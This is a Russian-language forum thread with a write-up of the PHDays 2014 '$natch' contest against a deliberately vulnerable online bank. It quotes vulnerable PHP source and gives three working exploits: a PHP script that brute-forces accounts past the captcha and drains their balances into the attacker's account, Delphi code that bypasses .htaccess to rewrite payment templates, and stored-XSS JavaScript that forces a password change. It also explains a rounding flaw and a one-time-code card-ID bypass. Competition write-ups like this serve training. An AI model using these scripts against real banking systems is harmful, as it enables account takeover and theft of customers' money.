Старый 24.05.2014, 04:41   #1
BigBear
 
Регистрация: 26.07.2012
Сообщений: 134
Репутация: 51
По умолчанию Write-UP "$natch" (PHDays 2014)

Итак, пока живы воспоминания, опишем как проходил традиционный конкурс "$natch" (или как его ещё называют "Большой ку$h") в рамках конференции PHDays 2014.

В этом году, на мой взгляд, организаторы существенно усложнили эксплуатирование уязвимостей, не только расширив их количество до 6, но и задействовав не самые очевидные и простые технологии для реализации эксплойтов.

Образ для скачивания ДБО и скрипты были выложены за сутки до начала конференции, что как бы непрозрачно намекало, что времени на реверсинг и написание эксплойтов понадобится много.

Впрочем, на мой взгляд, я допустил 2 ошибки при подготовке к этому конкурсу - поехал на конференцию со слабым нетбуком, который браузер то не всегда открывает (не хотелось таскаться с тяжестями) и сел за реверсинг и за написание эксплойтов всего лишь за 9 часов до начала самого конкурса.

Тем не менее, часть уязвимостей была найдена, эксплойты частично написаны, так что начало конкурса я встретил во всеоружии.

Начнём описание с очевидных технологий эксплуатирования уязвимостей. И первым, конечно же, идёт старый добрый брутфорс.

Вообще разработчики встроили в ДБО каптчу, что, в приницпе, легко обходилось переходом в "мобильный" интерфейс и установкой нужного cookie.

Application\Controller\AuthController.php
Код:
    public function loginAction()
    {
       ...
        if ($request->isPost()) {
            $login    = $request->getPost('login');
            $password = $request->getPost('password');
            $captcha  = $request->getPost('captcha');

            $return['login'] = $login;
            
            /**
             * Disable captcha on mobile interface
             */
            
            if (!$mobile) {
                if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) {
                    $return['captchaError'] = true;
                    return $return;
                }
            }
            
            $result = $this->auth->authenticate($login, $password);
            if ($result == 1) {
                $this->redirect('/');
            } elseif ($result == -1) {
                $return['loginError'] = true;
            } elseif ($result == 0) {
                $return['pwdError'] = true;
            }
        }
Application\Controller\IndexController.php
Код:
...
    public function switchInterfaceAction()
    {
        $request = $this->serviceManager->get('request');

        if ($request->getCookie('mobileInterface')) {
            setcookie('mobileInterface', '', null, '/');
        } else {
            setcookie('mobileInterface', 'true', null, '/');
        }
Соответственно, брутфорс упрощается донельзя. Приведенный далее эксплойт не только брутит аккаунты ДБО, но и автоматически проводит транзакции по переводу денежных средств на нужный счёт.

Exploit #1
Код:
<?php

$login       = '100001';
$account     = '90107430600227300039';
$domain      = '10.255.255.12';
$cookie_file = '/tmp/ibank_cookie';

function login($ch, $login, $password, $domain)
{
    $postdata = http_build_query(
            array(
                'login'    => $login,
                'password' => $password,
            )
    );

    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/login',
        CURLOPT_POST           => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_POSTFIELDS     => $postdata,
	CURLOPT_COOKIE => 'mobileInterface=true',
    ));

    return curl_exec($ch);
}

function logout($ch, $domain)
{
    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/logout',
        CURLOPT_FOLLOWLOCATION => 0,
        CURLOPT_POST           => 0,
    ));

    return curl_exec($ch);
}

@unlink($cookie_file);
file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX);

$ch = curl_init();

curl_setopt_array($ch, array(
    CURLOPT_HEADER         => 0,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_COOKIEJAR      => $cookie_file,
    CURLOPT_COOKIEFILE     => $cookie_file,
));

$passwords = array_map('rtrim', file('passwords.dict'));

while (1) {
    $found = false;
    foreach ($passwords as $password) {
        $result = login($ch, $login, $password, $domain);
        if (strpos($result, 'Wrong password'))
            continue;

        if (strpos($result, 'User not found'))
            exit;

        $found = true;
        break;
    }

    if ($found) {
        $id = $login - 100000;
        
        curl_setopt_array($ch, array(
            CURLOPT_URL  => $domain . '/payments/create',
            CURLOPT_POST => 0,
        ));

        $result = curl_exec($ch);

        if (!preg_match("~<option\s*value=\"(\d+)\">.*\(([0-9,\.]+)\s*&nbsp;Rub\)~msU", $result, $match))
            continue;
	
        $sum = $match[2];

        if ($sum < 1){
			$login++;
			logout($ch, $domain);
			continue;
			}



        curl_setopt_array($ch, array(
            CURLOPT_URL            => $domain . '/payments/create',
            CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_POST           => 1,
            CURLOPT_POSTFIELDS     => http_build_query(array(
                'from' => $id,
                'to'   => $account,
                'sum'  => $sum,
                'description' => 'phdays'
            )),
        ));

        $result = curl_exec($ch);

        preg_match("~/payments/delete/id/(\d+)~", $result, $match);
        $transaction_id = $match[1] ;

        curl_setopt_array($ch, array(
            CURLOPT_URL            => $domain . '/payments/process/id/' . $transaction_id,
            CURLOPT_FOLLOWLOCATION => 0,
            CURLOPT_POST           => 0,
        ));

        echo "From $id sum $sum\n";

        $result = curl_exec($ch);
    }

    $login++;

    logout($ch, $domain);
}
Следующей найденной уязвимостью была возможность редактирования любых существующих платежных шаблонов через "операторское" меню.
Вообще на само существование этой полу-админки намекал файл в основной директории.

Application\Controller\OperatorContoller.php
Код:
...
 public function editTemplateAction()
    {
        $transService = $this->serviceManager->get('TransactionService');
        $userService  = $this->serviceManager->get('userService');
        $template     = $transService->fetchTemplateById($this->request->getParam('id'));

        if (!$template)
            throw new Exception\TransactionTemplateNotFoundException();

        $user     = $userService->fetchById($template->getUserId());
        $accounts = $userService->fetchUserAccounts($user);

        if ($this->request->isPost()) {
            $fromId = $this->request->getPost('from');
            $found  = false;

            foreach ($accounts as $account) {
                if ($account->getId() == $fromId) {
                    $found = true;
                    break;
                }
            }

            if (!$found) {
                throw new \Exception("Account not found");
            }

            $template->exchangeArray(array(
                'name' => $this->request->getPost('name'),
                'from' => $fromId,
                'to'   => $this->request->getPost('to'),
                'sum'  => $this->request->getPost('sum'),
            ));

            if ($transService->updateTemplate($template)) {
                $this->redirect('/operator/userInfo/id/' . $template->getUserId());
            }
        }

        return array(
            'template' => $template,
            'accounts' => $accounts,
        );
    }
Единственной проблемой было обойти .htaccess, запрещающий вход в меню оператора. Так как конкурс предполагал наличие ботов, которые будут постоянно совершать транзакции друг другу, был набросан необходимый алгоритм эксплойта.

Соответсвенно для успешного эксплуатирования данной уязвимости эксплойт должен уметь
1) Обходить ограничение .htaccess
2) Отредактировать существующий шаблон
3) Циклически проходить по всем существующим шаблонам, так как другие участники конкурса тоже будут пытаться их постоянно изменять.

Было найдено 2 варианта обхода ограничения .htaccess. Первый предполагал использование в запросе символов разного регистра (oPerator вместо operator), второй использование символов, принудительно вырезаемых сервером при нормализации запроса (operator$ вместо operator).

По странной случайности, буквально за пару месяцев до конкурса я разрабатывал похожее приложение на Delphi, а так как портировать на PHP за отсутствием свободного времени не представлялось возможным, пришлось чуток менять исходник и использовать то, что есть.

Expoit #2
Код:
HTTPS:=TIdHTTP.create;
SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;
HTTPS.IOHandler:=SSL;
HTTPS.HandleRedirects:=true;
HTTPS.ConnectTimeout:=1500000;
HTTPS.AllowCookies:=true;

cook:='mobileInterface=true; act=UserService.php; f=N; c=/var/www/Application/Service/';

HTTPS.Request.CustomHeaders.Add('Cookie: '+cook);

AllTemplates:=TStringList.Create;

 try
 AllTemplates.Text:=HTTPS.Get(fsite);
 finally
 //FreeAndNil( Stream );
 end;

  fullstr:=AllTemplates.Text;
  AllTemplates.Clear;
  repeat
    if pos('/operator/editTemplate/id/',fullstr)>0 then
    begin
    str:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+26,5);
    fullstr:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+32,1000000);
    Delete(str,pos('"',str),100);
    AllTemplates.Add(str);
    end;
  until (pos('/operator/editTemplate/id/',fullstr)<1);

 for i:=0 to AllTemplates.Count-1 do
    begin
    data:=TStringList.Create;
    data.Add('from='+AllTemplates.Strings[i]);
    data.Add('to='+mynomer);
    data.Add('sum=70');
    data.Add('name=1');

    try
    HTTPS.HandleRedirects:=false;
    HTTPS.Post('http://'+site+'/Operator/editTemplate/id/'+AllTemplates.Strings[i],data);
    except
    //
    end;
    end;
Третья уязвимость заключалась в возможности перегонять денежные средства из RUB счета в USD счёт и наоборот с округлением суммы в большую сторону на стороне сервера. Таким образом, мы просто циклически гоняем деньги внутри нашего аккаунта, и за счёт "ошибки" разработчика, наш счёт постоянно увеличивается.

Вообще данная уязвимость была неплохо описана Adrian Furtuna на конференции ZeroNights 2013 в докладе "Практическая эксплуатация уязвимостей округления в приложениях для интернет-банкинга» (доклад для изучения прикреплю в аттач). Полагаю, идею внедрения этой уязвимости разработчики почерпнули именно оттуда.

Application\Service\TransactionService.php
Код:
 ...
 public function createTransaction(User $user, Account $from, Account $to, $sum, $description)
    {
        if ($from->getUserId() != $user->getId())
            throw new ForbiddenException();
        
        if ($from->getId() == $to->getId())
            throw new \Exception("Usage of same account for recipient and sender is not allowed.");
        
        $sum = round($sum, 2);
        if ($sum < 0.01)
            throw new \Exception("Sum of the transaction can't be less than 0.01");

        
        $otpCode = '';
        if ($user->getOtpMethod() == 'mtan')
            $otpCode = $this->generateMTanCode();

        $confirmed = $user->getOtpMethod() == 'none' ? true : false;
        
        $query = "INSERT transactions VALUES(null,?,?,?,?,?,?,?)";
        $this->db->query($query, $user->getId(), $from->getId(), $to->getId(), $sum, $otpCode, $confirmed, $description);

        $transaction = new Transaction();
        $transaction->exchangeArray(array(
            'id'          => $this->db->lastInsertId(),
            'user_id'     => $user->getId(),
            'from'        => $from->getId(),
            'to'          => $to->getId(),
            'sum'         => $sum,
            'otp_code'    => $otpCode,
            'confirmed'   => $confirmed,
            'description' => $description,
        ));

        return $transaction;
    } 

...

public function commitTransaction($transactionId, User $user)
    {
        $this->db->beginTransaction();
        
        try {
            $sqlTransaction = "SELECT * FROM transactions WHERE id = ? AND confirmed = 1 FOR UPDATE";
            $sth = $this->db->query($sqlTransaction, $transactionId);
            if (!$sth->rowCount())
                throw new Exception\TransactionNotFoundException();

            $transaction = new Transaction();
            $transaction->exchangeArray($sth->fetch());
            
            if ($transaction->getUserId() != $user->getId())
                throw new ForbiddenException();
            
            $accountFrom = $this->fetchAccountForUpdate($transaction->getFrom());
            $accountTo   = $this->fetchAccountForUpdate($transaction->getTo());

            if ($accountFrom->getBalance() < $transaction->getSum())
                throw new Exception\InsufficientFundsException();
            
            $sum         = $transaction->getSum();
            $balanceFrom = round($accountFrom->getBalance() - $sum, 2);
            $k           = $accountFrom->getCurrency() . '>' . $accountTo->getCurrency();
            $sum         = $this->rates[$k] * $sum;
            $balanceTo   = round($accountTo->getBalance() + $sum, 2);

            $query = "UPDATE accounts SET `balance` = ? WHERE id = ?";

            $this->db->query($query, $balanceTo, $transaction->getTo());
            $this->db->query($query, $balanceFrom, $transaction->getFrom());
            
            $this->db->query("DELETE FROM transactions WHERE id = ?", $transactionId);
            
        } catch (\Exception $e) {
            $this->db->rollBack();
            throw $e;
        }
        
        $this->db->commit();
        
        $needShow = ($accountFrom->getUserId() != $accountTo->getUserId());
        
        $this->addTransactionHistory($transaction, $needShow);
    }
Уязвимость существует вследствие округления передаваемой суммы до 2 знаков после запятой.
Код:
 $sum = round($sum, 2);
К сожалению, о существовании этой уязвимости я узнал лишь после конкурса, поэтому эксплойта приложить не могу.

Четвёртой уязвимостью была стандартная CSRF в форме смены пароля. При наличии XSS или каком-либо ещё факторе мы можем заставить целевой аккаунт сменить свой пароль на любой указанный нами.

Application\View\templates\Auth\ChangePassword.pht ml
Код:
<div class="row">
    <div class="col-md-12">
        <div class="page-header">
            <h1>Change password</h1>
        </div>
        <? if(!empty($error)): ?>
        <div class="alert alert-error"><?= $this->escapeHtml($error) ?></div>
        <? endif; ?>
        <form class="form-horizontal" method="post" role="form">
            <div class="form-group <? if(!empty($passwordError)) echo 'has-error' ?>">
                <label class="col-sm-2 control-label" for="inputNewPassword">New password</label>
                <div class="col-sm-4">
                    <input type="password" name="password" class="form-control" id="inputNewPassword">
                    <? if(!empty($newPwdError)): ?>
                    <span class="help-block">Can't be empty</span>
                    <? endif; ?>
                </div>
            </div>
            <div class="form-group <? if(!empty($confirmError)) echo 'has-error' ?>">
                <label class="col-sm-2 control-label" for="inputConfirmPassword">Confirm password</label>
                <div class="col-sm-4">
                    <input type="password" name="confirm" class="form-control" id="inputConfirmPassword">
                    <? if(!empty($confirmNewPwdError)): ?>
                    <span class="help-block">Wrong password</span>
                    <? endif; ?>
                </div>
            </div>
            <div class="form-group">
                <div class="col-sm-offset-2  col-sm-4">
                    <button type="submit" class="btn btn-primary">Change</button>
                    <button type="button" class="btn btn-default" onclick="history.go(-1); return false;">Back</button>
                </div>
            </div>
        </form>
    </div>
</div>
Application\Controller\AuthController.php
Код:
...
public function changePasswordAction()
    {
        if (!$this->auth->isAuthenticated())
            $this->redirect('/');
        
        $request = $this->serviceManager->get('request');
        
        if ($request->isPost()) {
            $password = $request->getPost('password');
            $confirm  = $request->getPost('confirm');
            
            $error = null;
            
            if (empty($password)) {
                $error = 'passwordError';
            } elseif ($password != $confirm) {
                $error = 'confirmError';
            }
            
            if ($error) {
                return array(
                    $error => true
                );
            }
            
            $this->auth->changePassword($password);
            $this->redirect('/');
        }
    }
Как не сложно заметить, никаких token при смене пароля не используется, а значит смена пароля подвержена уязвимости типа CSRF.

Но сама по себе эта уязвимость мало что даёт, нам нужно было найти способ доставить её до адресата. И этот способ был найден!

Пятая уязвимость - XSS при прохождении транзакции в поле description.

Application\Service\TransactionService.php
Код:
...
public function addTransactionHistory(Transaction $transaction, $needShow = true)
    {
        $sql = "INSERT INTO transactions_history VALUES(?, ?, ?, ?, NOW(), ?, ?)";
        $this->db->query($sql, $transaction->getId(), $transaction->getFrom(),
                         $transaction->getTo(), $transaction->getSum(),
                         $transaction->getDescription(), !$needShow);
        
        return $this;
    }
Поле description попадает в БД без прохождения необходимой фильтрации. Ну казалось бы и ладно, лишь бы оно выводилось с учётом фильтрации или не выводилось нигде вообще... Но коварные разработчики внедрили "фичу" информирования клиентов банкинга о новых поступивших транзакциях, где как раз и выводится информация из поля description в чистом виде.

Application\View\Helper\showIncome.php
Код:
<?php

namespace Application\View\Helper;

use Core\View\Helper\AbstractHelper;

class ShowIncome extends AbstractHelper
{

    public function __invoke(array $income)
    {
        $return = array();

        foreach ($income as $item) {
            $string = "{$item['sum']} {$this->view->currencySymbol($item['currency'])} from {$item['from']}";
            if (!empty($item['description'])) {
                $string .= "<i>({$item['description']})</i>";
            }
            
            $return[] = $string;
        }
        
        $template = '<div class="alert alert-success"><strong>Income!</strong><br>%s</div>';
        return sprintf($template, implode("<br>", $return));
    }

}
Теперь-то мы и можем использовать эксплойт из двух частей: отправим транзакцию целевому аккаунту с ядовитым содержанием в поле description, предварительно начинив её эксплойтом принудительной смены пароля.

Exploit #3
Код:
<script>document.writeln('<iframe id="iframe" src="/auth/changePassword" width="0" height="0" onload="read()"></iframe>');
function read(){
var pass = 'BigBearHasYou';
var pass2 = 'BigBearHasYou';
document.writeln('<form width="0" height="0" method="post" action="/auth/changePassword">');
document.writeln('<input type="password" name="password" class="form-control" id="inputNewPassword" value="' + pass + '" /><br />');
document.writeln('<input type="password" name="confirm" class="form-control" id="inputConfirmPassword" value="' + pass2 + '" />');
document.writeln('<input type="submit" name="submit" value="" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Код:
<script>document.writeln('<iframe id="iframe" src="/auth/logout" width="0" height="0"></iframe></script>
У данного эксплойта есть пара недостатков: не используется функция принудительного разлогирования, указанная выше (то есть после получения ядовитой транзакции пользователь оставался залогированным и мог повторно сам сменить себе пароль); есть жёсткая зависимость от наличия CSRF в функции смены пароля; и самый неприятный - на целевом хосте может быть отключено использование JS. В таком случае наш эксплойт просто не отработает. Однако было зафиксировано несколько случаев положительного срабатывания эксплойта, что свидетельствует о том, что не все участники смогли обнаружить данную уязвимость.

Но и тут чего-то не хватает... Ну сменили мы пароль, ну захватили активную сессию. А как украсть деньги у участника, если все транзакции подтверждаются уникальными кодами с его карточки, выданной прямо перед началом конкурса? И вот тут обнаруживается последняя шестая уязвимость - подделка идентификатора карты и её кода, проверяемых сервером.

Application\View\templates\Payments\confirmtan.pht ml
Код:
<div class="row">
    <div class="col-md-12">
        <div class="page-header">
            <h1>Confirm transaction</h1>
        </div>
        <form class="form-horizontal" method="post">
            <div class="form-group">
                <label class="col-md-2 control-label">From</label>
                <div class="col-md-4">
                    <p class="form-control-static">
                        <?= $this->escapeHtml($accountFrom->getNumber()) ?>
                    </p>
                </div>
            </div>
            <div class="form-group">
                <label class="col-md-2 control-label">To</label>
                <div class="col-md-4">
                    <p class="form-control-static">
                        <?= $this->escapeHtml($accountTo->getNumber()) ?>
                    </p>
                </div>
            </div>
            <div class="form-group">
                <label class="col-md-2 control-label">Sum</label>
                <div class="col-md-4">
                    <p class="form-control-static">
                        <?= $transaction->getSum() ?> <?= $this->currencySymbol($accountFrom->getCurrency()) ?>
                    </p>
                </div>
            </div>
            <div class="form-group <? if (!empty($error)) echo 'has-error' ?>">
                <label class="col-md-2 control-label" for="inputOtp">
                        Password #<?= $tan->getId() ?>
                        <input type="hidden" name="card_id" value="<?= $tan->getCardId() ?>">
                </label>
                <div class="col-md-4">
                    <input name="otp" type="text" class="form-control" id="inputOtp">
                    <? if (!empty($error)): ?>
                        <span class="help-block">Wrong password</span>
                    <? endif; ?>
                </div>
            </div>
            <div class="form-group">
                <div class="col-md-offset-2 col-md-4">
                    <button type="submit" class="btn btn-primary">Confirm</button>
                    <a href="/payments/delete/id/<?= $transaction->getId() ?>/" class="btn btn-danger">Delete</a>
                </div>
            </div>
        </form>
    </div>
</div>
Как видно из исходника - на сервер передаётся hidden-переменная cart_id, содержащая идентификатор проверяемой карты. Если подменить это значение на идентификатор своей карты, сервер спросит TAN-код именно вашей карты, а не карты того, в чей аккаунт вы залогинились вследствие предыдущего эксплойта.

Application\Controller\PaymentsController.php
Код:
...
public function confirmTanAction()
    {
        $id          = $this->request->getParam('id');
        $transaction = $this->tService->fetchTransactionById($id);

        if ($this->user->getOtpMethod() != 'tan')
            throw new ForbiddenException();
        
        if (!$transaction)
            throw new Exception\TransactionNotFoundException();

        if ($transaction->getUserId() != $this->user->getId())
            throw new ForbiddenException();

        if ($transaction->getConfirmed())
            $this->redirect('/payments/commit/id/' . $transaction->getId());
        
        $userService = $this->serviceManager->get('userService');
        $accountFrom = $userService->fetchAccountById($transaction->getFrom());
        $accountTo   = $userService->fetchAccountById($transaction->getTo());

        $return = array(
            'transaction' => $transaction,
            'accountFrom' => $accountFrom,
            'accountTo'   => $accountTo
        );

        if ($this->request->isPost()) {
            $cardId = $this->request->getPost('card_id');
            $tan    = $this->tService->fetchLastTan($cardId);
            if ($tan->getCode() == $this->request->getPost('otp')) {
                $tan->setUsed(true);
                $this->tService->updateTan($tan);

                $transaction->setConfirmed(true);
                $this->tService->updateTransaction($transaction);

                $this->redirect('/payments/commit/id/' . $transaction->getId());
            } else {
                $return['error'] = true;
            }
        } else {
            $cardId = $this->user->getCardId();
            $tan    = $this->tService->fetchLastTan($cardId);
        }

        $return['tan'] = $tan;

        return $return;
    }
Значение Card_ID просто берётся из POST запроса, и сверяется с случайным TAN-кодом карты с соответствующим идентификатором. В ходе конкурса как раз было продемонстрировано как "матрёшка" из трёх подряд уязвимостей привела к опустошению кошелька одного из участников.

Ну что сказать, Браво Организаторам !!!

Когда используются вот такие "логические" цепочки из уязвимостей - довести их завершение до логической концовки становится ещё интереснее. Ведь fail на любом этапе привёл бы к падению всей кампании. А это риск. И прямо дух захватывает от ожидания "большого ку$h-а".

Спасибо всем, кто участвовал в конкурсе вместе со мной, кто болел за участников, организаторам за неповторимую атмосферу и не самые простые головоломки. Надеюсь, я увижусь со всеми Вами и в следующем году, ведь третье место только подстегнуло мой интерес к завоеванию Олимпа в данном конкурсе, тем более что все предпосылки к этому были.

(c) BigBear, 2014

Напоследок, небольшое фото с итоговыми счетами всех участников.

Вложения
Тип файла: zip ibank_source.zip (381.8 Кб, 710 просмотров)

Последний раз редактировалось BigBear; 30.05.2014 в 12:15..
BigBear вне форума   Ответить с цитированием
Старый 24.05.2014, 17:36   #2
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Цитата:
Вообще данная уязвимость была неплохо описана Adrian Furtuna на конференции ZeroNights 2013 в докладе "Практическая эксплуатация уязвимостей округления в приложениях для интернет-банкинга» (доклад для изучения прикреплю в аттач). Полагаю, идею внедрения этой уязвимости разработчики почерпнули именно оттуда.
Да не, уязвимость очевидна и стара как мир, на том докладе вроде бы просто рассматривалась реализация, когда используются аппаратные токены.
Beched на форуме   Ответить с цитированием
Старый 27.05.2014, 06:57   #3
[Bo0oM]
 
Аватар для [Bo0oM]
 
Регистрация: 16.04.2011
Сообщений: 12
Репутация: 1
По умолчанию

Молодец
Начал бы раньше - заработал бы больше
__________________
Noob & slowpoke
[Bo0oM] вне форума   Ответить с цитированием
Старый 27.05.2014, 11:00   #4
HeartLESS
 
Регистрация: 25.04.2012
Сообщений: 101
Репутация: 31
По умолчанию

и снова python обгоняет php и выигрывает $natch.

48 часов дали, чтобы участники не засыпали во время конкурса =)

Ща подкину идей автору на следующий снетч
__________________
Jokester: Ок, с тобой проще согласиться чем переубедить. :)

Последний раз редактировалось HeartLESS; 27.05.2014 в 12:01..
HeartLESS вне форума   Ответить с цитированием
Старый 30.05.2014, 12:15   #5
BigBear
 
Регистрация: 26.07.2012
Сообщений: 134
Репутация: 51
По умолчанию

Приаттачил исходники к первому посту, чтоб не потерялись.
BigBear вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot